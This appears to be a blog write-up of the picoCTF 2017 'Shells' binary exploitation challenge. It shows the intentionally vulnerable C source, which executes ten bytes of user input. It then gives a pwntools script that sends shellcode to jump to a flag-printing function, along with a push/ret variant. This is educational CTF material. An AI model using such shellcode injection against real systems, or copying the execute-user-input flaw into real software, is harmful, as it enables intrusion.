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<h1>
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PicoCTF 2017 Lvl2 Shells
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<i class="fa fa-calendar padding-small"></i><time datetime="2018-07-27T10:02:00+02:00"> Fri 27 July 2018</time>
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<p>picoCTF is another interesting CTF competition found at <a href="https://2017.picoctf.com">https://2017.picoctf.com/</a></p>
<p>We will take a look at one of the binary exploitation challenges, Shells.</p>
<blockquote>
<p>How much can a couple bytes do? Use <a href="https://webshell2017.picoctf.com/static/8ee8b9f60eb42472a741748770af94ff/shells">shells</a> ! <a href="https://webshell2017.picoctf.com/static/8ee8b9f60eb42472a741748770af94ff/shells.c">Source</a>. Connect on shell2017.picoctf.com:55049.</p>
</blockquote>
<p>First lets, look at source code:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdlib.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><unistd.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><sys/mman.h></span>
<span class="cp">#define AMOUNT_OF_STUFF 10</span>
<span class="c1">//TODO: Ask IT why this is here</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">win</span><span class="p">(){</span>
<span class="w"> </span><span class="n">system</span><span class="p">(</span><span class="s">"/bin/cat ./flag.txt"</span><span class="p">);</span><span class="w"> </span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">vuln</span><span class="p">(){</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">stuff</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="n">AMOUNT_OF_STUFF</span><span class="p">,</span><span class="w"> </span><span class="n">PROT_EXEC</span><span class="o">|</span><span class="n">PROT_READ</span><span class="o">|</span><span class="n">PROT_WRITE</span><span class="p">,</span><span class="w"> </span><span class="n">MAP_PRIVATE</span><span class="o">|</span><span class="n">MAP_ANONYMOUS</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">stuff</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">MAP_FAILED</span><span class="p">){</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Failed to get space. Please talk to admin</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Give me %d bytes:</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">AMOUNT_OF_STUFF</span><span class="p">);</span>
<span class="w"> </span><span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read</span><span class="p">(</span><span class="n">STDIN_FILENO</span><span class="p">,</span><span class="w"> </span><span class="n">stuff</span><span class="p">,</span><span class="w"> </span><span class="n">AMOUNT_OF_STUFF</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">len</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">){</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"You didn't give me anything :("</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">func</span><span class="p">)()</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">stuff</span><span class="p">;</span>
<span class="w"> </span><span class="n">func</span><span class="p">();</span><span class="w"> </span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="n">argv</span><span class="p">[]){</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"My mother told me to never accept things from strangers</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"How bad could running a couple bytes be though?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="w"> </span><span class="n">vuln</span><span class="p">();</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>From source code, we can see that we need to call <code>win</code> function. In <code>vuln</code> we see that program maps memory for user input and sets read/write/execute permission on it. After that it, in this strange looking line of code,</p>
<div class="highlight"><pre><span></span><code>void (*func)() = (void (*)())stuff;
</code></pre></div>
<p>casts input buffer to <code>void f()</code> and assigns it to function pointer. For example if we wanted to cast to something like <code>int f(char a, int b)</code> we would use <code>(int (*)(char,int))</code>.</p>
<p>First, we need to find the address of <code>win</code> function in shells binary, we can use <strong>objdump</strong> for this:</p>
<div class="highlight"><pre><span></span><code>objdump -d shells -M intel
</code></pre></div>
<p><img alt="objdump disasembly of win function" class="img-fluid centerimage" src="https://f3real.github.io/images/2018_7_27_Shells.png"></p>
<p>And we get function address <code>0x08048540</code>.</p>
<p>My first idea was just to pass function address but it didn’t work since we need actual assembly code. So let's write some shellcode using <strong>pwntools</strong>:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'i386'</span>
<span class="n">context</span><span class="o">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="s1">'tmux'</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">'shell2017.picoctf.com'</span><span class="p">,</span> <span class="mi">55049</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'Give me 10 bytes:'</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s1">'mov eax, 0x08048540'</span><span class="p">)</span> <span class="o">+</span> <span class="n">asm</span><span class="p">(</span><span class="s1">'call eax'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvall</span><span class="p">()</span>
<span class="n">r</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p>We just set the context so <strong>pwntools</strong> knows arch of the system, connect to the server and send our shellcode:</p>
<div class="highlight"><pre><span></span><code>move eax, 0x08048540
call eax
</code></pre></div>
<p>We call from register since in that case value is interpreted as an absolute address offset instead of relative (if we just used <code>call 0x08048540</code>).</p>
<p>Also, we could have just used push/ret shellcode.</p>
<div class="highlight"><pre><span></span><code>push 0x08048540
ret
</code></pre></div>
<p>In any case, running our python scripts gives us the flag :D</p>
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